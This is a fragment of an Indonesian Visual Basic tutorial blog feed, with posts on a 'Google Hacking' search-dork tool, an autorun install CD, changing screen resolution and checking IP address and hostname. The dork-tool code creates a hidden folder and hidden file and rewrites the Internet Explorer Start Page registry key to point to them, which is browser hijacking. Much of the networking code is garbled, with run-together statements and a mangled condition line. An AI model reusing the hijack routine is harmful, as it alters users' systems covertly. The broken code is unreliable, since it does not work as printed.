/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_48czvH0DaKc/SG-8U0hnPHI/AAAAAAAAACg/8FI1u0WRaX0/s1600-h/Google.bmp"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5219597559028726898" src="http://4.bp.blogspot.com/_48czvH0DaKc/SG-8U0hnPHI/AAAAAAAAACg/8FI1u0WRaX0/s320/Google.bmp" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Skema alur pemrograman pada aplikasi kita kali ini adalah membuka file GoogleHacking.txt yang terdapat dalam satu folder dengan aplikasi yang sedang dibuat. File GoogleHacking.txt merupakan kumpulan Syntax-syntax Google Hacking yang berjumlah ratusan syntax.Selanjutnya mengkopi syntax yang diinginkan lalu klik tombol google untuk membuka file Google.html yang telah dimodifikasi (Lihat gambar di atas). Setelah itu paste-kan syntax pada kotak penelusuran google, dan dapatkan informasi yang tersembunyi dari syntax tersebut. Semoga bermanfaat.&lt;br /&gt;&lt;br /&gt;Langsung saja,Siapkan 2 commandbutton, 1 Textbox yang terpasang multiline dalam 1 form.&lt;br /&gt;&lt;br /&gt;===================================&lt;br /&gt;&lt;br /&gt;Tulis kode di bawah ini dalam form1&lt;br /&gt;&lt;br /&gt;===================================&lt;br /&gt;&lt;br /&gt;'panggil url/Google.html&lt;br /&gt;&lt;br /&gt;Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long&lt;br /&gt;&lt;br /&gt;Const conSwNormal = 1&lt;br /&gt;&lt;br /&gt;Private Sub CmdGoogle_Click()&lt;br /&gt;&lt;br /&gt;On Error Resume Next ' jika ada kesalahan maka lanjutkan&lt;br /&gt;&lt;br /&gt;Dim fso, a, regrun, b, c 'meminta jatah memori&lt;br /&gt;&lt;br /&gt;Set fso = CreateObject("Scripting.FileSystemObject") ' menggunakan file scripting object&lt;br /&gt;&lt;br /&gt;Set b = fso.GetFile("Google.Html") ' melalui fso untuk mendapatkan file Google.html yang terdapat di dalam satu folder dengan aplikasi ini&lt;br /&gt;&lt;br /&gt;'Membuat folder Baru&lt;br /&gt;&lt;br /&gt;Set c = fso.CreateFolder("C:\H@CK3RT00L")&lt;br /&gt;&lt;br /&gt;c.Attributes = 6 ' memberi attribut folder H@CK3RT00L menjadi hidden&lt;br /&gt;&lt;br /&gt;b.Copy ("C:\H@CK3RT00L\Google.Html") ' mlakukan copy file Google.Html ke dalam folder H@CK3RT00L&lt;br /&gt;&lt;br /&gt;Set a = fso.GetFile("C:\Google.Html")&lt;br /&gt;&lt;br /&gt;b.Attributes = 6&lt;br /&gt;&lt;br /&gt;Set regrun = CreateObject("Wscript.shell") 'membuat regrun untuk melakukan perubahan script di registry&lt;br /&gt;&lt;br /&gt;regrun.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", "C:\H@CK3RT00L\Google.Html" 'setiap menjalankan Internet Eksplorer maka pertama yang terbuka adalah Google.html&lt;br /&gt;&lt;br /&gt;ShellExecute hwnd, "open", "C:\H@CK3RT00L\Google.Html", vbNullString, vbNullString, conSwNormal ' menjalankan/mengeksekusi Google.html&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;&lt;br /&gt;End 'tutup&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;&lt;br /&gt;lblStatus.Caption = "Copy Syntax Yang Dipilih, Kemudian Klik Tombol Google."&lt;br /&gt;&lt;br /&gt;On Error GoTo ErrHandler ' jika terjadi kesalahan maka menuju ErrHandler&lt;br /&gt;&lt;br /&gt;Open "GoogleHacking.txt" For Input As #1 'membuka file GoogleHacking.txt yang terdapat dalam satu folder dengan aplikasi ini&lt;br /&gt;&lt;br /&gt;Text1.Text = Input(LOF(1), #1)&lt;br /&gt;&lt;br /&gt;Close&lt;br /&gt;&lt;br /&gt;Exit Sub&lt;br /&gt;&lt;br /&gt;ErrHandler: 'membuat pernyataan terjadinya kesalahan&lt;br /&gt;&lt;br /&gt;MsgBox "File GoogleHacking.txt Tidak Bisa Dibuka"&lt;br /&gt;&lt;br /&gt;End&lt;br /&gt;End Sub&lt;br /&gt;================================&lt;br /&gt;&lt;br /&gt;Semoga bermanfaat.&lt;br /&gt;&lt;a href="http://www.facebook.com/sharer.php" name="fb_share" type="button_count"&gt;Bagikan&lt;/a&gt;&lt;script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"&gt;&lt;/script&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/540381649944697167-913477597860410459?l=vbasiccode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbasiccode.blogspot.com/feeds/913477597860410459/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://vbasiccode.blogspot.com/2008/07/tool-google-hacking.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/913477597860410459'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/913477597860410459'/><link rel='alternate' type='text/html' href='http://vbasiccode.blogspot.com/2008/07/tool-google-hacking.html' title='Tool Google Hacking'/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_48czvH0DaKc/TByCvP2ROqI/AAAAAAAAAWE/YsxSI3OAygY/S220/FF8_033.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_48czvH0DaKc/SG-8U5kfQzI/AAAAAAAAACY/6DF86kXcfOM/s72-c/GoogleHacking.bmp' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-1720379808482217874</id><published>2008-06-23T16:16:00.006+07:00</published><updated>2010-07-16T23:36:49.254+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tips And Trick'/><title type='text'>Install Multi Software dalam Satu Keping CD/DVD</title><content type='html'>Software ini dibuat dengan tujuan untuk lebih memudahkan penginstalan aplikasi,yaitu&lt;br /&gt;dengan hanya menggunakan satu DVD/CD maka aplikasi standar yang dibutuhkan akan dapat langsung dipenuhi tanpa harus menyiapkan beberapa CD yang berisi software yang diperlukan.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_48czvH0DaKc/SF9yHdk_bhI/AAAAAAAAACI/ZODoO6oRd_E/s1600-h/ImgInstalMultiFostware.jpg"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5215012366042754578" src="http://2.bp.blogspot.com/_48czvH0DaKc/SF9yHdk_bhI/AAAAAAAAACI/ZODoO6oRd_E/s400/ImgInstalMultiFostware.jpg" style="cursor: pointer; display: block; margin: 0px auto 10px; text-align: center;" /&gt;&lt;/a&gt;&lt;br /&gt;Dengan syarat :&lt;br /&gt;1.software yang diperlukan harus anda copy dulu pada folder software dan menyesuaikan nama software tersebut dengan code yang berada pada project.&lt;br /&gt;2.Compile project dengan nama InstallMultiSoftware.exe, atau jika ingin memberi nama lain maka anda harus mengubah file InstallMultiSoftware.exe.manifest menjadi file sesuai dengan nama hasil compile dengan beerakhiran .manifest. Misal anda memberi nama software dengan SoftwareKu.exe maka anda mengubah InstallMultiSoftware.exe.manifest menjadi SoftwareKu.exe.manifest.&lt;br /&gt;File berakhiran manifest merupakan file yang berfungsi memberikan efek pada tombol dari Visual Basic berkesan Windows XP.&lt;br /&gt;4.Buat file Autorun.inf, dengan cara :&lt;br /&gt;Buka Notepad lalu ketik :&lt;br /&gt;[Autorun]&lt;br /&gt;icon=instalmultisoftware.exe&lt;br /&gt;open=instalmultisoftware.exe&lt;br /&gt;Simpan dengan nama Aotorun.inf&lt;br /&gt;3.Bakar/Burn dalam DVD/CD File-file berikut :&lt;br /&gt;- InstallMultiSoftware.exe&lt;br /&gt;- InstallMultiSoftware.exe.manifest&lt;br /&gt;- Autorun.inf&lt;br /&gt;- Folder ActiveX&lt;br /&gt;- Folder Audio&lt;br /&gt;- Folder Sekilas Aplikasi&lt;br /&gt;- Folder Software yang telah berisi software-software anda.&lt;br /&gt;4.Setelah anda menginstall windows maka aplikasi yang telah anda buat dan anda bakar akan sangat berguna karena tidak perlu memasukan dan mengeluarkan puluhan CD yang berisi software yang anda perlukan.&lt;br /&gt;Terimakasih, semoga bermanfaat.&lt;br /&gt;&lt;a href="http://www.facebook.com/sharer.php" name="fb_share" type="button_count"&gt;Bagikan&lt;/a&gt;&lt;script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"&gt;&lt;/script&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/540381649944697167-1720379808482217874?l=vbasiccode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbasiccode.blogspot.com/feeds/1720379808482217874/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://vbasiccode.blogspot.com/2008/06/install-banyak-software-dalam-satu.html#comment-form' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/1720379808482217874'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/1720379808482217874'/><link rel='alternate' type='text/html' href='http://vbasiccode.blogspot.com/2008/06/install-banyak-software-dalam-satu.html' title='Install Multi Software dalam Satu Keping CD/DVD'/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_48czvH0DaKc/TByCvP2ROqI/AAAAAAAAAWE/YsxSI3OAygY/S220/FF8_033.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_48czvH0DaKc/SF9yHdk_bhI/AAAAAAAAACI/ZODoO6oRd_E/s72-c/ImgInstalMultiFostware.jpg' height='72' width='72'/><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-8260387259277181841</id><published>2008-06-22T13:33:00.007+07:00</published><updated>2010-07-16T23:37:29.657+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tips And Trick'/><title type='text'>Masalah Besar Programer (Ubah Resolusi Monitor User)</title><content type='html'>Masalah yang paling besar bagi pembuat aplikasi adalah menentukan resolusi yang pas bagi semua user/pengguna,padahal user pasti memiliki spesifikasi monitor yang berbeda-beda, dibawah ini adalah sedikit tip trick mengenai resolusi bagi user agar pada saat menggunakan aplikasi yang kita buat maka aplikasi akan terlihat bagus dan pas.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;Masukan Code di bawah ini pada Form&lt;br /&gt;===================================&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;'Menentukan resolusi ke 800 x 600 dengan&lt;br /&gt;&lt;br /&gt;Dim DevM As DEVMODE&lt;br /&gt;'memasukan info ke dalam DevM&lt;br /&gt;erg&amp;amp; = EnumDisplaySettings(0&amp;amp;, 0&amp;amp;, DevM)&lt;br /&gt;&lt;br /&gt;DevM.dmFields = DM_PELSWIDTH Or DM_PELSHEIGHT 'atau DM_BITSPERPEL&lt;br /&gt;DevM.dmPelsWidth = 800 'ScreenWidth&lt;br /&gt;DevM.dmPelsHeight = 600 'ScreenHeight&lt;br /&gt;'DevM.dmBitsPerPel = 32 (menentukan 8, 16, 32 atau 4)&lt;br /&gt;&lt;br /&gt;'Sekarang memilih tampilan dan cek keberhasilan&lt;br /&gt;erg&amp;amp; = ChangeDisplaySettings(DevM, CDS_TEST)&lt;br /&gt;&lt;br /&gt;'jika cek berhasil&lt;br /&gt;&lt;br /&gt;Select Case erg&amp;amp;&lt;br /&gt;Case DISP_CHANGE_RESTART&lt;br /&gt;an = MsgBox("Maaf anda harus reboot", vbYesNo + vbSystemModal, "Info")&lt;br /&gt;If an = vbYes Then&lt;br /&gt;erg&amp;amp; = ExitWindowsEx(EWX_REBOOT, 0&amp;amp;)&lt;br /&gt;End If&lt;br /&gt;Case DISP_CHANGE_SUCCESSFUL&lt;br /&gt;erg&amp;amp; = ChangeDisplaySettings(DevM, CDS_UPDATEREGISTRY)&lt;br /&gt;MsgBox "Layar Resolusi dirubah menjadi 800x600.", vbOKOnly + vbSystemModal, "Informasi Perubahan Resolusi"&lt;br /&gt;Case Else&lt;br /&gt;MsgBox "Maaf, Resolusi 800x600 tidak didukung Monitor anda", vbOKOnly + vbSystemModal, "Error"&lt;br /&gt;End Select&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Masukan Code Dibawah ini pada Modul&lt;br /&gt;====================================&lt;br /&gt;Public Const EWX_LOGOFF = 0&lt;br /&gt;Public Const EWX_SHUTDOWN = 1&lt;br /&gt;Public Const EWX_REBOOT = 2&lt;br /&gt;Public Const EWX_FORCE = 4&lt;br /&gt;Public Const CCDEVICENAME = 32&lt;br /&gt;Public Const CCFORMNAME = 32&lt;br /&gt;Public Const DM_BITSPERPEL = &amp;amp;H40000&lt;br /&gt;Public Const DM_PELSWIDTH = &amp;amp;H80000&lt;br /&gt;Public Const DM_PELSHEIGHT = &amp;amp;H100000&lt;br /&gt;Public Const CDS_UPDATEREGISTRY = &amp;amp;H1&lt;br /&gt;Public Const CDS_TEST = &amp;amp;H4&lt;br /&gt;Public Const DISP_CHANGE_SUCCESSFUL = 0&lt;br /&gt;Public Const DISP_CHANGE_RESTART = 1&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Declare Function EnumDisplaySettings Lib "user32" _&lt;br /&gt;Alias "EnumDisplaySettingsA" _&lt;br /&gt;(ByVal lpszDeviceName As Long, _&lt;br /&gt;ByVal iModeNum As Long, _&lt;br /&gt;lpDevMode As Any) As Boolean&lt;br /&gt;&lt;br /&gt;Declare Function ChangeDisplaySettings Lib "user32" _&lt;br /&gt;Alias "ChangeDisplaySettingsA" _&lt;br /&gt;(lpDevMode As Any, ByVal dwFlags As Long) As Long&lt;br /&gt;&lt;br /&gt;Declare Function ExitWindowsEx Lib "user32" _&lt;br /&gt;(ByVal uFlags As Long, ByVal dwReserved As Long) As Long&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Type DEVMODE&lt;br /&gt;dmDeviceName As String * CCDEVICENAME&lt;br /&gt;dmSpecVersion As Integer&lt;br /&gt;dmDriverVersion As Integer&lt;br /&gt;dmSize As Integer&lt;br /&gt;dmDriverExtra As Integer&lt;br /&gt;dmFields As Long&lt;br /&gt;dmOrientation As Integer&lt;br /&gt;dmPaperSize As Integer&lt;br /&gt;dmPaperLength As Integer&lt;br /&gt;dmPaperWidth As Integer&lt;br /&gt;dmScale As Integer&lt;br /&gt;dmCopies As Integer&lt;br /&gt;dmDefaultSource As Integer&lt;br /&gt;dmPrintQuality As Integer&lt;br /&gt;dmColor As Integer&lt;br /&gt;dmDuplex As Integer&lt;br /&gt;dmYResolution As Integer&lt;br /&gt;dmTTOption As Integer&lt;br /&gt;dmCollate As Integer&lt;br /&gt;dmFormName As String * CCFORMNAME&lt;br /&gt;dmUnusedPadding As Integer&lt;br /&gt;dmBitsPerPel As Integer&lt;br /&gt;dmPelsWidth As Long&lt;br /&gt;dmPelsHeight As Long&lt;br /&gt;dmDisplayFlags As Long&lt;br /&gt;dmDisplayFrequency As Long&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Semoga bermanfaat.&lt;br /&gt;&lt;a href="http://www.facebook.com/sharer.php" name="fb_share" type="button_count"&gt;Bagikan&lt;/a&gt;&lt;script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"&gt;&lt;/script&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/540381649944697167-8260387259277181841?l=vbasiccode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbasiccode.blogspot.com/feeds/8260387259277181841/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://vbasiccode.blogspot.com/2008/06/maslah-besar-programer-ubah-resolusi.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/8260387259277181841'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/540381649944697167/posts/default/8260387259277181841'/><link rel='alternate' type='text/html' href='http://vbasiccode.blogspot.com/2008/06/maslah-besar-programer-ubah-resolusi.html' title='Masalah Besar Programer (Ubah Resolusi Monitor User)'/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://4.bp.blogspot.com/_48czvH0DaKc/TByCvP2ROqI/AAAAAAAAAWE/YsxSI3OAygY/S220/FF8_033.JPG'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-492873342894103039</id><published>2008-06-12T08:52:00.008+07:00</published><updated>2010-07-16T23:38:15.597+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tips And Trick'/><title type='text'>Cek Koneksi Internat (On/Off), Cek IP Adress, Cek Hostname</title><content type='html'>Sekarang kita mencoba membuat aplikasi yang berfungsi untuk mengetahui Status Kmputer terhubung dengan Internet atau tidak, Mengetahui IP Adress saat tidak terhubung dengan internet dan IP Adress saat terhubung dengan Internet Serta mengetahui IP Host Name. Untuk Lebih jelasnya dapat anda perhatikan kedua gambar di bawah ini yaitu Gambar aplikasi saat komputer tidak terhubung dengan internet (IP Adress otomatis 127.0.0.1) dan Gambar aplikasi saat terhubung dengan internet maka IP Adress komputer berubah menjadi 10.242.39.122 dan pada waktu yang lain ternyata IP Adress komputer berubah kembali menjadi&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;&lt;a href="http://3.bp.blogspot.com/_48czvH0DaKc/SFFImGzHSfI/AAAAAAAAAAM/PSITe9Q-cGM/s1600-h/CekKoneksiIPAdrrseHostName%28Tidak+Terkoneksi%29.bmp"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5211026063341603314" src="http://3.bp.blogspot.com/_48czvH0DaKc/SFFImGzHSfI/AAAAAAAAAAM/PSITe9Q-cGM/s400/CekKoneksiIPAdrrseHostName%28Tidak+Terkoneksi%29.bmp" style="display: block; margin: 0px auto 10px; text-align: center;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_48czvH0DaKc/SFFImWzHSgI/AAAAAAAAAAU/CUpe-DQMqA8/s1600-h/CekKoneksiIPAdrrseHostName%28Terkoneksi%29.bmp"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5211026067636570626" src="http://4.bp.blogspot.com/_48czvH0DaKc/SFFImWzHSgI/AAAAAAAAAAU/CUpe-DQMqA8/s400/CekKoneksiIPAdrrseHostName%28Terkoneksi%29.bmp" style="display: block; margin: 0px auto 10px; text-align: center;" /&gt;&lt;/a&gt; &lt;/div&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5211031934561896994" src="http://2.bp.blogspot.com/_48czvH0DaKc/SFFN72zHSiI/AAAAAAAAAAk/zHV8jVpMS9Y/s400/CekKoneksiIPAdrrseHostName%28Terkoneksii%29.bmp" style="display: block; margin: 0px auto 10px; text-align: center;" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;Berikut ini adalah Source codenya. Langsung saja yang dibutuhkan dalam pembuatan aplikasi ini adalah :&lt;/div&gt;&lt;div&gt;- 2 label dengan property name LblCekMyIP1 dan LblCekMyIP2&lt;br /&gt;&lt;br /&gt;- 1 timer dengan property name Timer1, iNTERVAL = 1000&lt;br /&gt;&lt;br /&gt;- Winsock1, untuk menambahkan Winsock1 pada toolbox maka dengan cara klik kanan pada toolbox pilih component dan centang microsoft winsock control 6.0&lt;br /&gt;&lt;br /&gt;- status bar dengan property name SB, untuk menambahkan status bar pada toolbox caranya sama dengan winsock tetapi pilih windows common controls 6.0(sp6) Kemudian setelah status bar ditambahkan dalam form maka klik kanan status bar tersebut pilih property dan pada tab panel pilih angka 2 pada textbox Autosize.&lt;br /&gt;&lt;br /&gt;- 1 modul untuk source code cek koneksi internet dan ip adress/Host name- 1 form&lt;br /&gt;&lt;br /&gt;Semoga bermanfaat, terimakasih.&lt;/div&gt;&lt;div&gt;========================================&lt;br /&gt;&lt;br /&gt;'COPY PASTEKAN KODE DI BAWAH INI PADA FORM&lt;br /&gt;&lt;br /&gt;========================================&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;&lt;br /&gt;Timer1.Enabled = True&lt;br /&gt;&lt;br /&gt;LblCekMyIP1 = "IP Host Name: " &amp;amp; GetIPHostName&lt;br /&gt;&lt;br /&gt;LblCekMyIP2 = "IP Address: " &amp;amp; GetIPAddress()&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Timer1_Timer()&lt;br /&gt;&lt;br /&gt;If InternetGetConnectedState(0&amp;amp;, 0&amp;amp;) = 1 Then&lt;br /&gt;&lt;br /&gt;SB.Panels(1).Text = "Status: Terhubung dengan Internet"&lt;br /&gt;&lt;br /&gt;Else&lt;br /&gt;&lt;br /&gt;SB.Panels(1).Text = "Status: Tidak terhubung dengan Internet"&lt;br /&gt;&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;=============================&lt;br /&gt;&lt;br /&gt;Letakkan code di bawah Ini pada Modul&lt;br /&gt;&lt;br /&gt;=============================&lt;br /&gt;&lt;br /&gt;'cek koneksi internet&lt;br /&gt;&lt;br /&gt;Public Declare Function Internet&lt;br /&gt;&lt;br /&gt;GetConnectedState Lib "wininet.dll" (ByRef lpdwFlags As Long, ByVal dwReserved As Long) As Long&lt;br /&gt;&lt;br /&gt;'---------CEK IP Adress komputer dan HOST NAME-----&lt;br /&gt;&lt;br /&gt;Public Const MAX_WSADescription = 256Public Const MAX_WSASYSStatus = 128'&lt;br /&gt;&lt;br /&gt;Public Const ERROR_SUCCESS As Long = 0&lt;br /&gt;&lt;br /&gt;Public Const WS_VERSION_REQD As Long = &amp;amp;H101&lt;br /&gt;&lt;br /&gt;Public Const WS_VERSION_MAJOR As Long = WS_VERSION_REQD \ &amp;amp;H100 And &amp;amp;HFF&amp;amp;&lt;br /&gt;&lt;br /&gt;Public Const WS_VERSION_MINOR As Long = WS_VERSION_REQD And &amp;amp;HFF&amp;amp;&lt;br /&gt;&lt;br /&gt;Public Const MIN_SOCKETS_REQD As Long = 1Public Const SOCKET_ERROR As Long = -1&lt;br /&gt;&lt;br /&gt;Public Type HostenthName As LonghAliases As LonghAddrType As IntegerhLen As IntegerhAddrList As Long&lt;br /&gt;&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Public Type WSADATAwversion As IntegerwHighVersion As IntegerszDescription(0 To MAX_WSADescription) As ByteszSystemStatus(0 To MAX_WSASYSStatus) As BytewMaxSockets As IntegerwMaxUDPDG As IntegerdwVendorInfo As Long&lt;br /&gt;&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Public Declare Function WSAGetlastError Lib "wsock32.dll" () As Long&lt;br /&gt;&lt;br /&gt;Public Declare Function WSAStartup Lib "wsock32.dll" (ByVal wVersionRequired As Long, lpWSAdata As WSADATA) As Long&lt;br /&gt;&lt;br /&gt;Public Declare Function WSACleanup Lib "wsock32.dll" () As Long&lt;br /&gt;&lt;br /&gt;Public Declare Function gethostname Lib "wsock32.dll" (ByVal szHost As String, ByVal dwHostLen As Long) As Long&lt;br /&gt;&lt;br /&gt;Public Declare Function GetHostByName Lib "wsock32.dll" Alias "gethostbyname" (ByVal szHost As String) As Long&lt;br /&gt;&lt;br /&gt;Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (hpvdest As Any, ByVal hpvSource As Long, ByVal cbCopy As Long)&lt;br /&gt;&lt;br /&gt;Public Function GetIPAddress() As String&lt;br /&gt;&lt;br /&gt;Dim sHostName As String * 256&lt;br /&gt;&lt;br /&gt;Dim lpHost As Long&lt;br /&gt;&lt;br /&gt;Dim HOST As Hostent&lt;br /&gt;&lt;br /&gt;Dim dwIPAddr As Long&lt;br /&gt;&lt;br /&gt;Dim tmpIPAddr() As Byte&lt;br /&gt;&lt;br /&gt;Dim i As Integer&lt;br /&gt;&lt;br /&gt;Dim sIPAddr As String&lt;br /&gt;&lt;br /&gt;If Not SocketsInitialize() Then&lt;br /&gt;&lt;br /&gt;GetIPAddress = ""&lt;br /&gt;&lt;br /&gt;Exit Function&lt;br /&gt;&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;If gethostname(sHostName, 256) = SOCKET_ERROR Then&lt;br /&gt;&lt;br /&gt;GetIPAddress = ""MsgBox "Windows Sockets Error " &amp;amp; Str$(WSAGetlastError()) &amp;amp; " has occurred. Host Name tidak dapat ditampilkan."SocketsCleanup&lt;br /&gt;&lt;br /&gt;Exit Function&lt;br /&gt;&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;sHostName = Trim$(sHostName)&lt;br /&gt;&lt;br /&gt;lpHost = GetHostByName(sHostName)&lt;br /&gt;&lt;br /&gt;If lpHost = 0 Then&lt;br /&gt;&lt;br /&gt;GetIPAddress = "" MsgBox "Socket Windows tidak memberikan respon. " &amp;amp; "Host Name tidak dapat ditampilkan." SocketsCleanup&lt;br /&gt;&lt;br /&gt;Exit Function&lt;br /&gt;&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;CopyMemory HOST, lpHost, Len(HOST)CopyMemory dwIPAddr, HOST.hAddrList, 4ReDim tmpIPAddr(1 To HOST.hLen)CopyMemory tmpIPAddr(1), dwIPAddr, HOST.hLenFor i = 1 To HOST.hLensIPAddr = sIPAddr &amp;amp; tmpIPAddr(i) &amp;amp; "."NextGetIPAddress = Mid$(sIPAddr, 1, Len(sIPAddr) - 1)SocketsCleanup&lt;br /&gt;&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;Public Function GetIPHostName() As StringDim sHostName As String * 256If Not SocketsInitialize() ThenGetIPHostName = ""&lt;br /&gt;&lt;br /&gt;Exit Function&lt;br /&gt;&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;If gethostname(sHostName, 256) = SOCKET_ERROR ThenGetIPHostName = ""MsgBox "Windows Sockets Error " &amp;amp; Str$(WSAGetlastError()) &amp;amp; " has occurred. Host Name tidak dapat ditampilkan."SocketsCleanup&lt;br /&gt;&lt;br /&gt;Exit Function&lt;br /&gt;&lt;br /&gt;End IfGetIPHostName = Left$(sHostName, InStr(sHostName, Chr(0)) - 1)SocketsCleanup&lt;br /&gt;&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;Public Function HiByte(ByVal wParam As Integer)HiByte = wParam \ &amp;amp;H100 And &amp;amp;HFF&amp;amp;&lt;br /&gt;&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;Public Function LoByte(ByVal wParam As Integer)LoByte = wParam And &amp;amp;HFF&amp;amp;&lt;br /&gt;&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;Public Sub SocketsCleanup() If WSACleanup() &amp;lt;&amp;gt; error_success_ Then MsgBox " Socket Error terjadi dalam CleanUp."&lt;br /&gt;&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Public Function SocketsInitialize() As Boolean&lt;br /&gt;&lt;br /&gt;Dim WSAD As WSADATA&lt;br /&gt;&lt;br /&gt;Dim sLoByte As String&lt;br /&gt;&lt;br /&gt;Dim sHiByte As StringIf WSAStartup(WS_VERSION_REQD, WSAD) &amp;lt;&amp;gt; ERROR_SUCCESS ThenMsgBox "Socket Windows 32-bit tidak respon"SocketsInitialize = False&lt;br /&gt;&lt;br /&gt;Exit Function&lt;br /&gt;&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;If WSAD.wMaxSockets = MIN_SOCKETS_REQD Then MsgBox "Aplikasi ini membutuhkan minimum " &amp;amp; CStr(MIN_SOCKETS_REQD) &amp;amp; " Socket yang support." SocketsInitialize = False&lt;br /&gt;&lt;br /&gt;Exit Function&lt;br /&gt;&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;If LoByte(WSAD.wversion) &amp;lt; shibyte =" CStr(HiByte(WSAD.wversion))" slobyte =" CStr(LoByte(WSAD.wversion))MsgBox" socketsinitialize =" False"&amp;gt;&lt;br /&gt;&lt;div&gt;Exit Function &lt;/div&gt;&lt;div&gt;End If SocketsInitialize = True &lt;/div&gt;&lt;div&gt;End Function&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Semoga bermanfaat.&lt;br /&gt;&lt;a href="http://www.facebook.com/sharer.php" name="fb_share" 